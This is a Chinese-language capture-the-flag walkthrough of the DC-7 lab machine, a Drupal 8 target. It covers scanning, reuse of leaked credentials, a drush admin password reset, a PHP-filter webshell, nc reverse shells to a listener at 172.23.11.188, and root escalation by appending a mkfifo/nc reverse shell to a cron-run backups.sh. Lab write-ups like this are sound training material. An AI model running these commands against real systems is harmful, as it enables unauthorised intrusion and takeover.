靶机地址
一.进行信息收集
1. 使用nmap扫描,进行主机发现
nmap -sn 192.168.25.0/24
使用nmap扫描之后发现ip地址为:192.168.25.151
2.使用nmap进行端口扫描
nmap -p 1-65535 -T4 -A -v 192.168.25.151
发现其开启了22,80端口
3. 查看web指纹,发现是一个Durpal的CMS
4.使用dirsearch扫描一下敏感目录
5.使用nmap扫一下端口漏洞
nmap --script=vuln -p22,80 192.168.25.151
没有扫出漏洞
6.访问网站,发现里面有提示,更加需要的是发散性思维
7.发现左下角有作者信息
8.搜索发现github上有关于DC7的一部分代码
9.在config.php文件中发现了一个账户和密码
10.尝试使用此账号密码登录器后台,登录失败
11.尝试使用ssh进行连接
1.连接成功,同时发现有一封邮件
2.查看该邮件,看到了root和两个文件的地址
3.查看这个文件,发现这个sh文件里面使用了drush程序。一开始不知道drush的作用是什么,后来通过搜索引擎得知这是一个专门管理drupal网站的一个程序,也可以通过该程序直接修改用户密码
二.获取shell
1.通过drush修改密码
drush user-password admin --password="123456"
必须在/var/www/html这个目录下才能执行修改密码的命令
2.用admin,123456成功登录网站后台
3.到处看看发现这里能够解析一些代码,这里好像可以上传个木马文件 ,但好像没有办法解析php文件
4.后面查了一下因为dc7的CMS是Drupal8,已经移除了PHP Filter(php过滤器),后续作为一个模组存在,可以手动安装。在官网找到下载链接,下载之后给 DC-7 安装
1.此处可以安装插件
2. 下载链接
3.选择文件上传安装
4.安装成功,启用新模块
5.选择PHP filter,点击下面的install
6.这样就安装成功了
5.再次到这个编辑页面发现可以解析php文件了
6.在这个页面中选择PHP code,编写一句话木马,点击save
7.使用蚁剑进行连接,成功连接
8.使用nc反弹shell,kali中监听
nc 172.23.11.188 4444 -e /bin/bash
nc -lvp 4444
连接成功
9.利用python的pty模块获取一个好看的shell
python -c "import pty;pty.spawn('/bin/sh')";
三.权限提升
1.查看具有root权限执行的命令
find / -user root -perm -4000 -print 2>/dev/null
没有可以被利用的命令
2.想起之前backups.sh这个脚本,www-data和root都有权限执行
3.所以我们将反弹shell的命令写入 backups.sh 等待系统自动运行即可。因为刚刚在邮箱中发现系统每15分钟就会以root的权限执行一次backups.sh,所以用root权限反弹shell就会获取root权限
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.23.11.188 3333 >/tmp/f" >> backups.sh